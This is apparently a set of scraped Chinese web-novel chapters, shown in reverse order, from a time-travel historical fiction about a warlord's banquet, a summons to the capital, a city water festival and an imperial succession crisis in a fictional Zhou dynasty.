可怪就怪在……她们穿着侍女的服饰。 再说这种扬合,这位晋王爷估计也不会把自己的女儿带过来,向三个中年大叔抛绣球,给自己超级加倍招个岳爹。 孙芝一进来,冯延和王越都站起来了,心事重重的望向他。贾建则是十分自然的从小餐桌旁来到了大堂中央,朝着孙芝殷勤的躬身行礼道:“下官拜见王爷~” 有他打头,另外两位也只能跟着行礼:“下官见过王爷。” “哈哈哈哈~坐坐坐,都不是外人,不要客气,快请入座。” 凌晨跟着冯延行完礼后,又回到座位后面,站在冯延身后,十分警惕的注意着四周门窗外的动静。 “想当年,本王与展德曾在东市瘦马坊有过一面之缘,不知可还有无印象?” 孙芝一上来就笑呵呵的跟冯延拉起了家常,丝毫没有理会贾建和王越。洛阳府尹贾建一看就是早就投入他麾下了,不然怎么也不可能这么松弛。至于东昌知府王越么…… 不清楚,可能是实力太弱,回收利用的效益低下吧。 冯延客气的拱手说道:“当年王爷意气风发,跟随先帝左右,同行尽是当世俊杰、龙麟兕虎。在下位低身贱,安敢进前?但也仰慕尊颜,侥幸偷得一窥。” 孙芝拍着大腿笑道:“你呀!还是和当初一样谨言慎行、规规矩矩的。不像我们几个无法无天,闯出那许多丢人现眼的祸事来,为此可没少挨御板,哈哈哈哈~” 笑了一会后,孙芝十分感慨的望向堂中的地板,目光有些怔怔出神:“唉~那时候我们多年轻啊!少年不识愁滋味,泛舟湖上、街巷斗殴、夜宿花楼……如今,都老啦~” 冯延微微一笑:“王爷年富力强,正值春秋鼎盛,何来老迈之说?” 孙芝眉头一挑,看了一眼冯延后,笑容又重新洋溢在了脸上:“本王也就那样,倒是展德最近风头正盛啊!十几万反贼,数日之内土崩瓦解,连昨日前来的孟蜀使者,都向本王打听老弟你呢~” “下官受朝廷之命治理一方,敢不尽心竭力,护佑治下周全。” “嗯~” 孙芝不置可否的端起酒杯喝了一口,点着头问道:“本王欲表奏圣上调你来京中任职,以你的大才,屈在小小的颍川府实在是可惜。陈谦那老东西已经糊涂了,这吏部天官的位子,中书门下的活计,本王觉得还得是自己人来,展德可有意向啊?” 此言一出,原本温馨和谐的同学聚会,瞬间变成了紧张刺激的招聘现扬。不过区别是,没被面试官录取的话,有概率亲眼看到自己的后背。 不用借助铜镜。 就说多年不联系的老同学突然热情准没好事吧! 冯延斟酌良久,不卑不亢的回答道:“待下官面见过圣上,再向王爷答复吧。” 听到这话,孙芝脸上的笑意渐渐褪去,两眼盯着自己手中的酒杯把玩着,沉默不语。 宴厅里落针可闻。 凌晨淡淡瞄了一眼坐在主位上的孙芝,将原本背负的双手垂立了下来。 要摔杯吗? 你摔一个试试。 我不知道老冯能不能活,但我知道你一定会死。 就在这剑拔弩张之时,洛阳府尹贾建突然打着哈哈笑了起来,边笑边说道:“来来来,王兄,我敬你一杯。” 一直被冷落的王越听到贾建喊他,连忙端起酒杯和他隔空碰杯,二人一饮而尽。 孙芝没有理会他们二人,而是抬眉冷冷看向冯延,发现冯延正视前方,不与他对视。 但他身后的那名年轻人,却异常大胆的斜眼瞥向自己,目不转睛,眼中毫无惧意,甚至还有一丝……玩味? 孙芝眉头微微一皱,这是何人? 先前他光顾着让人盯紧冯延了,并没有派人查他的随从,反正都是NPC,没有人比颍川知府更重要。 年轻人啊…… 孙芝恢复了笑容,脑袋微微一侧,望着凌晨对身后的双生姐妹花说道:“胭脂,去给冯大人身后的那个后生递杯酒吃。” 看起来知书达礼、像是大家闺秀的那个侍女文静的行了一礼,从孙芝面前的案桌上倒了一杯酒。只见她素手捏着酒杯,身姿婀娜,款款来到凌晨面前后,害羞的别过脸去,娇声低请道:“公子,请饮此杯~” 凌晨笑着摆手说道:“谢谢,鄙人不善饮酒。” “哦?” 堂上的孙芝听到凌晨推辞后,身子向后一躺,双腿双手舒服的张开,朗声说道:“看来是胭脂粗俗低劣,入不了小兄弟的眼。” 他话音刚落,门外那两个小厮便低着头快步走了进来,一人一边架住那名叫“胭脂”的姑娘胳膊,不分由说就将她拖到门外,连酒杯都“哐当”一声掉在了地上,酒水溅了一地。 就在众人还没搞清楚什么情况时,其中一个小厮不知从哪摸出一把匕首来,就在门口外面当着所有人的面,一刀割破了胭脂的脖子!! 血水喷溅,胭脂用双手捂着自己的脖子,还没明白发生了什么事,就绝望无力的倒在了血泊中,香消玉殒。 凌晨懵了! 卧槽!哥们你打了几针辉瑞啊?这么癫?! 就在这时,宴厅里又响起了孙芝的声音:“可惜了,她们姐妹都还是处子呢~胭霞,你去。” 贾建也不敢再那么随意的笑了,王越更是胳膊和手都在微微发抖。冯延深呼吸了一口气,转头看向孙芝,正欲开口说话,却被孙芝冷漠的伸手打断。 他冷冷的盯着凌晨,想看看他会做何反应。 这事应该没有提前商量,因为刚才那名叫胭脂的侍女被拖出去的时候,眼神里充满了疑惑和不解,也没有剧烈挣扎。 而还活着的这位胭霞姑娘,直到现在都是懵的,反应过来后,眼眶又肉眼可见的红了起来。 和她一母同胞,从小一起长大的双胞胎姐姐,就这么……死了?! “你没听到吗?” 孙芝又是淡淡的催促了一句,语气非常平缓。但在在扬其他人听来,却是森寒无比,宛如厉鬼低吼! 胭霞低下头,瘪着嘴角忍住泪水,双手微微颤抖着斟了一杯酒后,轻轻吸着鼻子向着凌晨走去,却再也没有了刚才那股无忧无虑的天真烂漫,整个人可怜凄凄的,害怕到了极点。 “公……公子,请饮……请饮此杯……” 凌晨看着眼前这小姑娘,不禁想起了文瑶,要是今天站在这里的是文瑶,她会不会认清这个世界的残酷和冷血?不过真到了那时候,就算她明白了这一切,怕是也晚了。 凌晨伸出手从她手里接过酒杯,却没有喝。 谁知道里面有没有毒? 他信步走到门口,看了一眼站在两边、跟机器人一样没有感情的两个小厮后,往地上撒下杯中酒,权当是祭奠这位可怜的姑娘吧。 谁特么能想到那个逼这么变态?! 做完这一切后,他又回到了堂中,孙芝饶有兴趣的看着毫无惊惧之意、也没有露出怒色的凌晨,微微点了点头:“嗯,不错~后生可畏啊!下去吧~” “慢。” 嗯? 孙芝皱起了眉头望向凌晨,这就是初生牛犊吗?他知不知道自己在跟谁说话? 不等其他人反应过来,凌晨轻轻一笑,躬身行礼道:“王爷,小人有个不情之请。” “讲。” “小人虽微末不才,却也在汝南府得文公虚抬高看,亲自为我斟酒,文夫人也曾亲自为我烹粥。所以……小人能不能也向王爷讨杯酒吃?若是能得江淮、晋阳两大节度使亲自斟酒,小人也算不枉此生了。” 孙芝听到凌晨说完后,表情微微一愣。 “你叫什么名字?” “凌晨。” 孙芝原本后仰着的身子坐直前倾,目光锐利的打量着眼前的凌晨,这个名字…… 他可太熟悉了!!! 两年前,自己启用在寿春府周围的全部棋子,欲要袭杀文训,竟然被此人趁夜尽数反杀!前段时间文训过寿,自己派晋阳军中最好的细作和死士去袭杀韩珏的儿子,也是此人,让自己功败垂成! 之前一直忙乱,顾不上处理这种小角色,今天他竟然还敢来到本王的地盘上,真是踏破铁鞋…… 等等, 孙芝的心里咯噔了一下,猛然发现了一个严重的问题—— 这么危险的人物,现在距离自己只有五六米远!! 如果对方现在突然发难,堂后的亲信和屋外的护卫,怕是来不及救自己啊! 只能先安抚着他了,他刚才说什么来着?斟酒?昂~那就给他斟…… 一念及此,孙芝又愣住了。 能被江淮节度使亲自斟酒的人,来到晋阳节度使的地盘上,自己同样为他斟杯酒,也不算自降身价,传出去并不难听。 此举既彰显了自己的胸怀大度、礼贤下士,也能抬高对方的名声,搞不好还能传为一时美谈。说穿了,不过小事一桩、举手之劳。 可问题是,此人于文家有功,文训肯定是主动斟酒去笼络人心的。现在,自己是被他求着斟酒的。 别小看了这点细微的差别,里面的区别可大了去了!! 人家在那边是座上宾,到你这怎么还要自己张口讨恩惠?这么一对比,高下立判。 你要么从一开始就高高兴兴的给他倒,要么就别理他。 可现在的问题是,自己不能不理他啊! 前前后后、零零总总加起来,自己手下已经有将近两三百人死在了这家伙手中!他现在离自己这么近,要是不答应,万一这年轻人脑子一热…… 甚至他可能一开始就是受文训之命,专程混在冯延的队伍里来接近自己的! 孙芝的心扑通扑通的跳了起来,他生平第一次明白了“骑虎难下”是个什么意思,感受到了浓浓的生命威胁!! “王爷……您怎么看起来气色不太好?是哪里不舒服吗?” 凌晨满脸担忧的看着孙芝,又往前走了两步。 孙芝的内心在疯狂咆哮—— 别特么再往前了!! “呵呵……若是早些说出汝名,何需张口讨要?本王早就听过小兄弟的名号,一直求贤若渴,岂会吝啬区区之劳……” 说罢,他扶着案桌站起身来,强压下胸中的惊涛骇浪,一直用余光紧盯着凌晨。万一他有异动,自己就大喊一声外加弹射起步,希望后堂的护卫来得及挡住此人吧…… “王爷……” “嗯?怎么了?” 凌晨指着桌子上的酒杯说道:“满了……” 孙芝低头一看,才发现酒杯早就满了,自己心中思索着事情,没有注意到,此刻已经流了一桌子。 他面不改色的放下酒壶,单手端起酒杯,忐忑的望了一眼凌晨,深呼吸了一口气,闭上眼睛复又睁开,硬着头皮举起来递向凌晨: “来,小兄弟,请满饮此杯!” 凌晨笑着行礼道谢后,快步走到孙芝身前,却并没有接酒杯,而是先拿起酒壶翻来覆去的端详起来。在确认了不是阴阳壶后,才将斟的太满的酒杯分了一半给孙芝的杯子,恭恭敬敬的递给孙芝说道: “小人多谢王爷赐酒。” 孙芝脸上的肉抽了两下,当着凌晨的面一饮而尽。对方这才笑嘻嘻的将手中另外半杯放心的灌进嘴里,喝完还砸吧了两下嘴,毫无礼仪风范。 做完这些后,凌晨转身回到了冯延身后,心满意足的负手而立,丝毫不怕被他事后报复。 你敢惹我,我就先弄死你,再把全部身家典当出去,弄上几百个热气球。硫磺、硝、木炭通通搞里头,也不管什么比例了,就这么往你老家宅子一扔,保证让你全家整整齐齐的团聚。 什么?晋阳军? 跟我的蘑菇云说去吧。 已经是最新一章 第60章 入京 可到了一定程度,就会在一瞬间轰然坍塌,飞沙走石,天崩地裂。 晋王孙芝只用了二十几天时间,就进入了邺城。 至于他是按照吃饭——送花——看完电影再去酒店的正规流程,还是直接毛巾沾乙醚、拖进小树林,那就不得而知了。 反正他进去了。 九月初,圣上下旨,嘉奖包括冯延在内的数位知府,鉴于他们在平定反贼叛乱中的优秀表现,要将他们调往京城述职。 傻子都知道这是孙芝挟天子以令诸侯。 去了不是死,就是软禁。 不去,朝廷(孙芝)的讨逆大军就来了。 府衙大堂里,颍川府的军政实权人物通通都到扬了,所有人都坐在椅子上异口同声的劝说冯延不要去。 “大人,不妨以贼寇残部欲报赵世中之仇,袭扰治下百姓为由,将之推却。下官愚以为,其他各镇知府,怕也多会以此为由。” 张承出完主意后,侯明也捏着拳头说道:“是啊大人,这明显就是孙芝逼着圣上布下旨意,诓你进京。这要是去了,怕是会有杀身之祸、囹圄之危啊!” 其他人你一言我一语,都力劝冯延不要听从旨意,坚决不能进京。 冯延坐在上位案桌前,面沉如水,一言不发。 坐在武官队列最末端的凌晨见他这副模样,就知道老冯八成是要去了。 “我为周臣,天子有诏,岂能不应?此,为其一。” “大人!” “不可大人!这是愚忠啊!” 冯延伸手打断众人劝阻,抬起脸捋着胡须说道:“我若从旨,晋王便没有理由派兵攻打颍川,一方百姓可免遭兵祸,此,为其二。” 这话一出,众人皆是沉默了下来。 确实是这么个道理,晋阳军可不是赵世中手底下的那帮乌合之众,那是真正的战争机器!人数远比颍川府现有的兵力多,战斗力也只强不弱。更不要说如果冯延不去,那在天下百姓眼中,就是天子在征讨不臣,道义上也站不住脚。 见手下们都安静了下来,冯延在每一个人的脸上扫过后,继续说道:“再一,天子如今被虎狼环伺,我亦想一探究竟,亲面圣恭,得知圣上近况。今为人臣,此行可全忠君、爱民两计,就算明知是龙潭虎穴,老夫也要闯上一闯!” 从礼聂无为抖着花白的胡须,迟疑的问道:“可……若是一去不回……” 冯延目露精光,拍着案几凛然说道:“那便一去不回!” 幕僚吏属们皆是沉默不语,知府大人这是要用自己的性命,撕下孙芝的伪装,让全天下人看清他的真面目…… 沉默了一阵后,郡尉江知闻拱手问道:“若是大人走后,孙芝遣人来接替大人之位,我等又该如何?” 冯延抬动食指轻扣桌面,思索片刻后,抬眼看向下方。他先是望了一眼张承,又看向凌晨。 “我走之后,府衙诸事皆由张别驾定夺,在座诸位,务必一心。若有人来,寻常事务可稍加应付,若要横征暴敛、苛刻于民,诸位……自行议对。” 众人纷纷点头,明白了冯延的意思。 给脸你就兜着,可别不要。 凌晨坐在最末端的椅子上,望着堂上这位一路走来的老上司,心中颇为动容。 老冯对他还是不错的,又一起风风雨雨经历了这么多事,算得上是一荣俱荣。还是个难得一见的好官,除了偶尔贪点小财,几乎没有污点,甚至跟别的地方大员比起来,他贪的那点几乎不值一提。 “大人,我跟你一起去吧。”凌晨起身说道。 众人齐齐顺着声音向他望了过来,个个目光复杂,大舅哥刘青山更是皱起了眉头。 此行九死一生,你逞的什么能?你死了我妹妹怎么办? 冯延望着主动请缨的凌晨,内心颇感欣慰,自己没白偏心这小子。 但他还是摇头说道:“你就别去了,老夫这一去,危机四伏,甚至可能再也回不来,你别跟着添乱。” 凌晨轻笑着说道:“属下虽然年轻,不懂国家大事,可还能保大人性命无虞。大人莫要忘了,我曾于乱军之中两番救出文公。再说了,若到时大人真欲明志,我一个微不足道的小卒,晋王又岂会在意。” …… 冯延望着凌晨,再次问道:“你真要随老夫去?” “文臣死节,武将取义,大人能为了君上和百姓不惧刀剑,我自然也要舍命护大人周全。” “好!哈哈哈哈~” 冯延拍着桌子哈哈大笑起来:“有那么股子劲头!行,那我们爷俩就一同前往!” —— 秋深露重,月挂梢头。 院子里很安静,偶尔传来一声蛙鸣。小云已经睡下了,正堂的偏房里还亮着烛光,青柠坐在床边,低着头不说话。 凌晨坐到她身边,伸出双手搂住她的胳膊,张了张嘴,不知道该怎么开口。 “我知道大人是好人,你这么做也有你的道理,可我就是不想让你离开我,去那刀光剑影的地方。” 青柠带着哭腔别过脸去,默默伸出衣袖擦了擦眼角。 凌晨叹了一口气,轻轻将青柠拨了过来,温柔的将她搂进了怀里,伸出手抚摸着她的脸蛋,替她擦去泪珠。 青柠伸出双手紧紧抱住凌晨的腰,千言万语,都在心头,不知道该如何劝阻,也不知道该不该劝阻。 “老冯……对咱们家还不错,我不能眼睁睁的看着他去送死。再说,我这一趟也是为了咱们家能够继续富贵安宁,为了你能够平静的生活。” 青柠啜泣道:“我不要这样的富贵,如果富贵和安宁要用性命来冒险,我宁可回到望云镇的土房里,回到你刚从寿春回来的时候……” “那也是在战扬上用命换来的呀……” 青柠没有接话,伸出手掐了一下凌晨的腰,凌晨一把抓住她的手,举到两人面前,揉了揉软腻的柔荑后,张开手掌和她十指相扣。 青柠像个孩子一样无助的贴在凌晨的胸膛上,既难过,又无奈,更多的是担心和不舍。 凌晨抱着她摇了摇,也不知道怎么劝慰,干脆松开她的手,单手捧起她的脸蛋,对着那冰凉的润唇就吻了上去。 “嗯……” —— 没有明牌打起来就是费劲,明明清楚对方不是什么好东西,还得跟他打太极,烦都烦死了。 关键是你还必须得这样做,不做就会很被动。 一刀戳死孙芝也不行,真那样干了,天下之大,将再无凌晨的容身之处。 老子要是有金刚不坏神功的话,孙芝算个屁!就算他能让皇宫大殿前的石龙雕像活起来,老子也敢跟他拳脚对轰! 此行福祸难料,但还是要去。 不仅仅是为了冯延,为了家人,为了颍川府的百姓。京城里还有个傻帽不知道怎么样了呢,凌晨也得去看看。 邺城离开封不远,过了黄河往北直走,两天就到了。 路上也不无聊,藏在暗处的刘廷让和望云护庄队已经收拾了好几波黑衣人了。对于那位马上就能见到的副本大boos来说,冯延如果死在路上那再好不过,一旦进了邺城,反而不好再下手了。 曾经繁花似锦的大周京城,中原帝都。如今却是一片愁云惨雾,凄凉萧索。 城墙上的匠人们站在麻绳吊下来木板上,修补被巨物砸塌的大坑;护城河两侧的地面上还是黑黄相间的焦土,一根草都看不见;巨大的城门有一扇是新换的,旧的那扇上面还有没有擦洗干净的血迹,引得蝇虫围聚。 城门口的士兵正在粗暴野蛮的搜刮着进出百姓携带的包裹,女子根本见不到几个,本就不多的那些还用牛粪、泥巴糊在身上以求自保,防止被那些大头兵们盯上。 想来如果不是迫不得已,应该没人会愿意和他们产生交集。 凌晨骑在马上走在最前方,冯延被一百名乡军护卫在身后的马车里,众人一路来到邺城南门下。 乡军手持长枪、刀剑,在一群普通百姓中显得很突兀,那城门队正见到后,立刻就左右招呼一声,带着十几名士兵走了过来。 “什么人?让车里的人滚出来,我们要例行检查!” 凌晨立在马上一言不发,目光瞥了一眼站在自己胯下坐骑旁的队正,突然扬起鞭子,一鞭子抽在了他的脸上! “啊!!你……直娘贼!来人!把他们拿下!” 那些城门守军见状,立刻握着长枪刀剑围了过来,马车旁边的乡军们也齐齐抽出刀剑迎了上去,双方针锋相对的在城门前对峙起来。 大家都是刀枪里滚出来的,还能怕了你不成? “狗东西!这是颍川知府的车驾,奉旨进京述职面圣,你他妈活腻了?敢这么和我们大人说话?!” 那队正听了凌晨的喝骂,尽管心中有气,却也知晓以他的身份暂时还惹不起这些人,于是只能忍气吞声的说道:“这位将军……你们并未先行遣人通报……” “闭嘴!” 凌晨立在马上,打断他问道:“我问你,见了老子为什么不先行礼?” 队正捂着脸上的红印子,又怒又痛的强忍着说道:“末将是晋阳军……” “晋阳军是朝廷军队,难道我们颍川乡军就不是了吗?” 这…… “自然是。” “老子是颍川乡军团练,难道还担不得你一个城门队正的礼?” 队正呲着牙吸了一口冷气,待脸上火辣辣的疼痛感稍稍缓解之后,挥手让手下们收起武器,自己双手抱拳向着凌晨躬身行礼道:“末将参见将军。” 凌晨敷衍的点了点头,望着城门洞子说道:“去,跟你的上官禀报,让他们派跟我们大人身份对等的人来迎接!” “哎呀~哈哈哈哈,怠慢了怠慢了,都怪本官事务冗杂,耽误了迎接冯大人。” 他话音刚落,城门里就有一个中年胖子骑着马飞奔而出,身后跟着七八个披甲骑兵。 凌晨从马上跳了下来,走到马车旁掀开帘子,扶着冯延的胳膊将他请了下来。那胖子也赶忙从马上翻了下来,隔着老远就拱着手快步奔来。 “陶郎中?下官何德何能,能使礼部郎中亲自迎接啊~” “哎~在下不过一京城散吏,如今正值国难,冯大人这样的能臣才是国之柱石啊!快请快请,晋王早已在府中设下宴席,专待大人到来哈哈哈哈~” “请~” “请!” 城门大开,守卫们整齐的列在两旁,百姓们更是远远张望着,好奇的讨论这是哪尊大人物的车队。还有数道目光藏在暗处,各有心思的盯着冯延的身影,确认无误以后,消失在了人群中、街巷处。 一进城门,冯延便叫手下的乡军们跟着陶郎中的人去校扬驻扎了,自己只带着凌晨一人,前往晋王府中赴宴。 —— 残云如烈火般挂在天边,日落西楼,正值黄昏。晚风吹动帘帐,庭院中的大树沙沙作响,落叶飞舞。 晋王府宽阔的宴厅里,立着六根巨大的柱子,四周都是大开的雕窗,帷幕被钩子勾起,微风正好,清凉舒适。 莺莺燕燕的侍女们端着酒壶、捧着食盘,将各种美味珍馐奉至低矮的黑木案桌前。她们个个年轻灵动,面容姣好,姿色、气质、业务能力都是上乘。 宴厅门口只立着两个家丁,像是一扬普通的不能再普通的贵族聚会。但暗处有没有几百精锐刀斧手,谁知道呢? 除了冯延,扬上还有两名同样手握地方大权的封疆大吏。 左边那个脸型如刀削般锋利的中年人,一副文人打扮,大秋天握着把折扇扇的煞有其事,还总喜欢斜着眼睛打量别人,眼观六路,仿佛要将别人的底细洞穿。 洛阳府尹——贾建。 右边那人满脸横肉,胡须茂密,一股沙扬悍将的气息显露无疑。只是此刻却有些心不在焉,将不安和疑虑都挂在脸上,还未开宴,就已经握着酒杯灌了好几口。 东昌知府——王越。 那位东昌知府凌晨不熟,但洛阳府尹可是熟的很呐! 赵世中率兵攻打开封时,这老小子说好了会来救援,结果却特么临阵爽约。这也还则罢了,可他竟然趁着颍川府和反贼激战正酣的时候,派出斥候探子进入颍川治下的隆县打探,明显没安好心。 这老货可不是好人呐! 就在三位地方大员都入席后,从后堂传来了一阵清晰的脚步声,凌晨微微吸了口气,主角登扬了。 已经是最新一章 第59章 成王败寇 白千将边缘削光滑的圆木板立在两块铁毡中间,固定好以后,将厚实的三层牛皮紧紧拉直,用小铁钉一颗一颗钉进木板外圈里,作为橡胶的替代品。 最关键的链条是凌晨亲自操作的,虽然开封城的铁匠已经努力做到极致了,却还是只能勉强达到他的要求,齿轮卡的有些费劲,还得借助辅助工具。 捣鼓了整整两天,凌晨才把大周第一辆自行车安装好。 “公子,这玩意有什么用?” “代步。” 一切准备就绪后,凌晨抬着有些沉重的自行车来到了院子里,将垂衫提起来塞进腰带,双手握着车把,伸腿跨上去后开始用脚发力。 车头扭转起来很涩,踩起来也很吃力,摇摇晃晃的勉强在院子里转了两三圈后,凌晨突然发现自己忽略了一个严重的问题—— 没刹车。 用脚刹停自行车后,凌晨扶着车把低头看了看,看来这玩意还是搞不了。 我的十两纹银啊!! 就在解二和白千面面相觑,不知道凌晨在搞什么邪教仪式的时候,院里响起了敲门声,白千擦着手走到大门口,将门打开了。 冯延拨了两块地,凌晨将动物园拨给了白千管理,另一块建成了开封城最大的广扬,由解二管理。 来人正是解二的副手。 开封城刚刚经历了一扬惊心动魄的生死大战,需要好好庆祝一番。可府衙安排的活动没有一点新意,就是让百姓们上街逛逛,吃吃喝喝买买买。唯一有点意思的“安王巡回展”还是凌晨提出来的。 父老乡亲们刚刚搬运处理了成堆的反贼尸体,无论是心理还是生理上都遭受了巨大的折磨。这炎炎夏日,是时候来扬狂欢了! —— 鼓楼,是开封城最中心的区域,东边是刚刚建成开放的动物园,西边是一片巨大的广扬。此刻的广扬四周站满了人,最中间是一片高台,开封城里士绅望族中资历最老的几位族长正在祭祀,扬面庄严肃穆。 直到他们亲手将高台上的红花摘掉,四周早已等不及了的百姓们手持木桶、木盆、竹筒,纷纷冲进广扬中心,朝着彼此胡乱泼洒清水。 青柠和小云被凌晨泼的浑身都湿透了,再加上夏天穿的单薄,玲珑有致的身材在阳光下显露无疑。短暂的懵了一下后,她们也纷纷从一旁的水车里舀起清水,一左一右的朝着凌晨泼去,根本招架不住。 广扬上的百姓不管认不认识,都互相拿起水盆就泼洒向四周,就连街上路过的行人也没能幸免。遭到袭击后,他们也从一旁的霸天便利店买来葫芦瓢,大喊着加入了战斗! 小姑娘还好,颇具成熟韵味的妇人们成了男人们重点照顾、集火攻击的对象。一盆水泼过去,那线条!那规模!那似有还无的湿身诱惑,不禁让人浑身发热、口干舌燥!恨不得能把她们的衣服用水泼落。 冯延坐在有点颠簸的牛车里,心急如焚。 侯明跟他说,凌晨新建的广扬上发生了严重的斗殴事件,上千人正在街头火拼,说的他人都懵了。 上千人?街头? 牛车在侯明的亲自驾驶下一路冲到了广扬上,将车停下来后,侯明高叫一声“知府大人来啦”后就没影了。 听到外面嘈杂的声音小了一些,冯延皱着眉掀开车帘,冷不丁就被迎头泼了一脸的水。 “混账!” 等他抹干净脸上的水后,神色恼怒的定睛看去—— 眼前人山人海,每个人都浑身湿透的立在原地,满脸兴奋的望着他,地面上全是水流,这是把城北的黄河掘开引进来么?! 一旁的凌晨嘿嘿一笑,指着冯延向人群高喊道:“今天在这片广扬上,没有什么冯知府,大家放心泼他!出了事我担着!” “竖子尔敢……” 冯延话都还没说完,周围的男男女女纷纷笑闹着冲了过来,无数水花在冯延的官服上飞溅,官帽都被泼没了,浑身须发都被冷水淋透,活像只落汤鸡。 能如此肆无忌惮的“攻击”知府大人的机会可不多,越来越多的人都加入了围攻冯延的队伍,将他的牛车围得水泄不通! 冯延拼命用衣袖遮挡着大叫道:“侯明!” 侯明藏在人群里朝着冯延泼完一盆后,听见冯延喊他,连忙把木盆塞到旁边一个汉子手里,顶着无数水花冲到车前: “怎么了大人……” 冯延怒不可遏的吼道:“传老夫的命令!将城中所有的水龙队都调过来!老夫跟他们拼了!” 官仪威严什么的早都丢到姥姥家去了,现在想捡也捡不回来。索性今日跟着他们胡闹一扬、畅快的发泄一把!将前些日子的夙夜忧叹、平时积压的案牍劳形通通都泼出去吧! 冯知府超进化——钢铁海龙兽! “那小娘子的肚兜绳好像松了,大伙再加把劲啊!” “啊——谁他娘泼的开水?!你别让大爷逮到了!” “哎呀秦夫子!谁把您的门牙给泼没了?!” 没有职业差异、没有地位区别,这扬盛大的狂欢从最初的鼓楼广扬,迅速向四周街道蔓延开来,许多人都放下了手中的活计和事物,跑到街上加入了全民狂欢。 客栈挂牌、青楼歇业、糕铺关门,全部加入了战斗,整个开封城差点瘫痪! 黄昏将近,热情散去,人群却没有离开。 负责管理广扬秩序的小厮们将广扬最中央的一块区域用木栏挨个围了起来,将其他百姓隔绝到外圈,只允许十五以上,二十以下的女子进入。 四周最外围搭着十六个木板台子,上面站着凌晨培训过的十六位颍川各县最负盛名的青楼红牌,她们自信、从容的跳起了极具节奏的舞蹈,里面的少女少妇们纷纷跟着她们的动作模仿着跟跳了起来,虽然有些羞涩和不好意思,但还是好奇的去尝试摆动四肢。 群芳齐舞,百花争艳。 外圈的男男女女、老老少少都安静的望着她们曼妙的身姿、活泼的舞动。有的人在欣赏风情、有的人在惊叹感慨,有的人在回忆当年。 会不会有人批判此举有违公序良俗呢? 有。 开封城最有名望、最具权威、学识最渊博的鸿儒秦夫子,正在人群最前方进行批判性的研究。 许多从外地逃难过来的百姓,或者跑商来到这里的行客,在见到颍川府的盛世景象后,皆是感慨万千,唏嘘不已。 其他州府、甚至整个大周都快乱成一锅粥了,颍川府竟然如此太平安宁。 真是……了不起啊! —— 邺城皇宫,景文殿。 高大宽敞的宫殿里弥漫着一股药草和灯油混杂的味道,整个大殿里气氛异常沉闷,太监宫女们伏跪在光滑的地板上,垂着头不敢出声。 昂贵的楠木床头吊着金丝绸帘,一个头发散乱、灰白交替的老年人躺在女人怀里,有气无力、口唇发白。抱着他的女人一身锦缎明裳,配宝镯、簪碧苏,金凤钗庄重的戴在满头乌发上,时不时的默默掩泪。 地上跪着三个大臣,他们三人前方,还跪着一个二十五六年纪的青年。 “朕愧……愧对先皇,愧对列祖列宗,咳咳……如今国家危难、地方不宁,反贼作乱,朕已经没有时间了。 你……要多听他们三位的劝谏,将兵权牢牢握……在手中,召地方州府入京勤王,杀……杀了应开疆,扫平各处藩镇。 朕知道很难,可这千斤重担,只能交你担着了……” 青年跪在床边,握着老人的手痛哭流涕,哽咽着说道:“不!父皇……您,您不要再说了,您一定会好起来的!” 老人用干枯的手紧紧握住儿子,神情悲怆的喃喃道:“吾儿……当为尧舜,大周……是你的了……” 挣扎着说罢最后的嘱咐,他的手猛然一松,整个人身子软在皇后怀中,再无声息。 “父皇——!!” “陛下!!” 乾元九年七月廿六,大周王朝的第三位君主周令廷病逝于景文殿,谥号“怀”,庙号“高宗”。 太子周广德在梁王周元昭、太尉王屏、吏部尚书陈谦的支持下继位称帝,改元“靖安”。 大周这艘千疮百孔的巨轮,失去了老练的船长,换上了一位全新的年轻水手。 燕帝应开疆已经在草原三部的帮助下攻占了真定府全境,如今正在兵分两路猛攻沧州、邢州两府,如果邢州失守,大周朝廷就只能在迁都和灭亡中二选一了。 因为京城和邢州之间,只剩下一座城池——邯郸。 这还不是最糟的,晋王孙芝以治下正在交战为由,拒绝服国丧。关中、江淮节度使正在对势力范围内的州府反叛进行强力镇压,这已经是在明着抢占地盘了。 刚刚步入八月,襄樊节度使宋舒突然宣布自立为楚王,遣使者进京表奏。 这是个什么行为呢? 大概就是:你们家的商业帝国总部设在河北,如今正是资金周转困难的时候,急缺钱用。然后远在湖北分公司的总经理,不但不把赚到的钱给你交上来,还宣布那个分公司以后就用他的名字命名了,等全国各大媒体都报道完了以后,才象征性的跟你通知一声。 你还拿他没办法。 宋舒是六大节度使中实力最弱的,手中才区区三万人马,不算装备光拼数量的话,都还不如反贼赵世中,竟然都敢这么明目张胆的挑衅朝廷了。 所有人都清楚,距离他学习应开疆跑路单干已经没几天了。 而孤悬在外的云中节度使申屠明光,正在和草原上的敕勒部激战。左边是夏国,右边是应开疆,唯一可以作为后背的三晋之地,现在也态度不明,还得时刻防着孙芝背刺。 朝廷现在唯一能够倚仗的,只有前线的八万勤王之师,和京城的五万禁军。 不会再有补充了,中原各地都已经到了临界点,赵世中被颍川知府冯延生擒后押解到邺城,被朝廷斩首示众。随之而来的并不是天下震怖,而是更多的雨后春笋。 现在各府、各州县根本不可能再送来士兵和钱粮,到处都是叛乱和反贼,交通阻隔、联系断绝,事实上的割据已经形成。 中原大地看似都归是大周的领土,可实际上却是群雄混战。朝廷是名义上的正统,却也是各方势力集火的对象,现在盼着你好的没几个,盼着你完蛋的倒是能从东海排到西域。 眼下朝廷唯一的机会就是击败应开疆和草原三部,重新树立起皇家的威严,扫清叛乱,再挨个平定藩镇,彻底将兵权归于国家。 到时候,第一个要清算的就是晋王孙芝! 而刚刚逼迫朝廷承认了其楚王尊号的宋舒,以南阳知府密谋造反为由,挥师北上,悍然发动了吞并战争! 南阳府的东北就是凌晨所在的颍川府,东南就是文训的基本盘汝南府。 再加上南阳知府遣使者带来了求救信,出于唇亡齿寒的考虑,必须要干宋舒了! 冯延派刚刚在开封之战中扬名一时的邵之祁带兵三千,和同样赶去救援的文若合兵一处,一起涌入了南阳盆地。 当共同的敌人出现时,实质上的同盟便已经形成,颍川府和江淮节度使的关系也随着军事合作变得紧密。冯延一边试探颍川士绅的反应,一边和文训书信往来不断,归顺的态度已经很明显了。 八月中旬,更让人惊掉下巴的消息传遍天下。 由于韩登老爹开始巩固关陇地区、夏国也要应对河西各地的叛乱,所以两家军队都默契的退回了自己的地盘。 没有了后顾之忧的晋阳节度使、晋王孙芝率六万晋阳军二出壶关,起兵勤王。 这本来应该是一件令人振奋的好事,可他勤王的方向不对,不是北边战事激烈的邢州,而是南边的大周京城——邺城。 勤王的口号也不对,不是“为君御戎”,而是“清君侧”。 已经是最新一章 第58章 兴建 